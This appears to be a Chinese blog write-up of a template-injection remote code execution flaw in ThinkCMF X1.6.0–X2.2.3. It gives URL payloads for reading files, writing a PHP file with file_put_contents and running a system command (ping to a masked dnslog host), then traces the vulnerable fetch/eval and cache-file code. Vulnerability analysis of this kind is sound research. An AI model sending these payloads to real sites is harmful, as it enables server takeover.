简介
ThinkCMF是一款基于PHP+MYSQL开发的中文内容管理框架,底层采用ThinkPHP3.2.3构建。ThinkCMF提出灵活的应用机制,框架自身提供基础的管理功能,而开发者可以根据自身的需求以应用的形式进行扩展。每个应用都能独立的完成自己的任务,也可通过系统调用其他应用进行协同工作。在这种运行机制下,开发商场应用的用户无需关心开发SNS应用时如何工作的,但他们之间又可通过系统本身进行协调,大大的降低了开发成本和沟通成本。
影响版本
ThinkCMF X1.6.0
ThinkCMF X2.1.0
ThinkCMF X2.2.0
ThinkCMF X2.2.1
ThinkCMF X2.2.2
ThinkCMF X2.2.3
复现环境
我这里下载的2.2.0版本,下载地址为:thinkcmfx2.2.0
安装过程就略过了
漏洞复现
0×01
payload: http://localhost/thinkcmfx220/?a=display&templateFile=README.md
0×02
payload:?a=fetch&templateFile=public/index&prefix=\'\'&content=file_put_contents(\'test.php\',\'<?php phpinfo(); ?>\')
上述请求发送后,会在thinkcmfx根目录生成test.php,我们访问一下:
0×03
payload:?a=fetch&content=<?php system(\'ping xxxxxx\');?>
这种方式其实利用和pyload2一样,只不过是直接执行系统命令,我们可以用dnslog的方式检验结果,如下
漏洞分析
漏洞分析我可能不会把每行代码的意思讲清楚,但是我会分享一些我在分析这个漏洞时使用的一些小方法
审计mvc架构的应用,第一步就是找到入口,然后顺着入口文件,跟着程序逻辑读下去,直到了解程序大体运作流程,知道基本路由规则(mvc架构的审计工作主要是集中在控制器)。前面的审计开始的前置工作我就不细说了,而且在分析一个漏洞的时候这些前置工作也不一定是必须的,如果你在知道一些信息的情况下,例如,你根据漏洞披露的一些信息已经知道哪个文件有问题了,就不需要再去研究路由了,我这次的分析就是在已知一些条件的情况下进行的,所以我就没有仔细去读路由规则,所以,你也可以看到我后面的分析很多都采用的是猜测以及全局搜索这种方式来确定利用点,当然我后面也大概看了下路由,大概跟到App::exec()方法里,就可以看到路由规则了,如下:



public function test1(){
echo \'hello axin\';
die();
}
然后访问http://localhost/thinkcmfx220/index.php?a=test1,结果如下




if(\'php\' == strtolower(C(\'TMPL_ENGINE_TYPE\'))) { // 使用PHP原生模板
echo 33333333;
$_content = $content;
// 模板阵列变量分解成为独立变量
extract($this->tVar, EXTR_OVERWRITE);
// 直接载入PHP模板
empty($_content)?include $templateFile:eval(\'?>\'.$_content);
}else{
echo 444444444;
// 视图解析标签
$params = array(\'var\'=>$this->tVar,\'file\'=>$templateFile,\'content\'=>$content,\'prefix\'=>$prefix);
Hook::listen(\'view_parse\',$params);
}
这样当我们访问页面的时候,如果页面出现33333333,则表示进入了第一个分支,否则进入了第二个分支,但是如果跟着我的思路复现了的朋友可能会发现页面没有任何回显,这是因为这段代码前后分别调用了ob_start()与ob_get_clean()



tips:这里跟踪文件也有个技巧,有时候在定位某个类位于哪个文件时,我们也可以采用全局搜索的方式,或者直接用类名搜索文件名(phpstorm快捷键,快速按两次shift)

我这里用我的打印调试法定位到,代码会运行到Storage::load()这里,我们跟进,在这里我们使用phpstorm直接go to这种方式发现phpstorm定位不到load函数的定义处,那么我们只有先定位Storage类,Storage类如下



/data/runtime/Cache/Portal/
然后文件名的命名规则可以从传给Storage::load函数的参数里确定
Storage::load(C(\'CACHE_PATH\').$_data[\'prefix\'].md5($_content).C(\'TMPL_CACHFILE_SUFFIX\'),$_data[\'var\']);
我采用了几种方法来定位到底哪里把content写入了文件,第一种方式就是全局搜索C(‘CACHE_PATH’).$_data[\'prefix\'].md5($_content).C(‘TMPL_CACHFILE_SUFFIX’)
因为这是文件的命名规则,写入的时候肯定也是这个规则,但是结果失败了,只出现一条结果就是load这里,然后我就在想刚刚File.class.php里面有load函数,那么应该也有写入函数(set,write之类的),结果一看果然有!


这里我做了一个合_Mask理的猜测,就是传入的参数是之前没有传过的,那么就会进入else,否则进入if,然后我在else分支添加了一行echo 444444;然后请求?a=fetch&content=phpinfo(这个请求是之前没有发送过的)


啊~这一处的payload就先写到这吧,好久没写文章了,累死了~



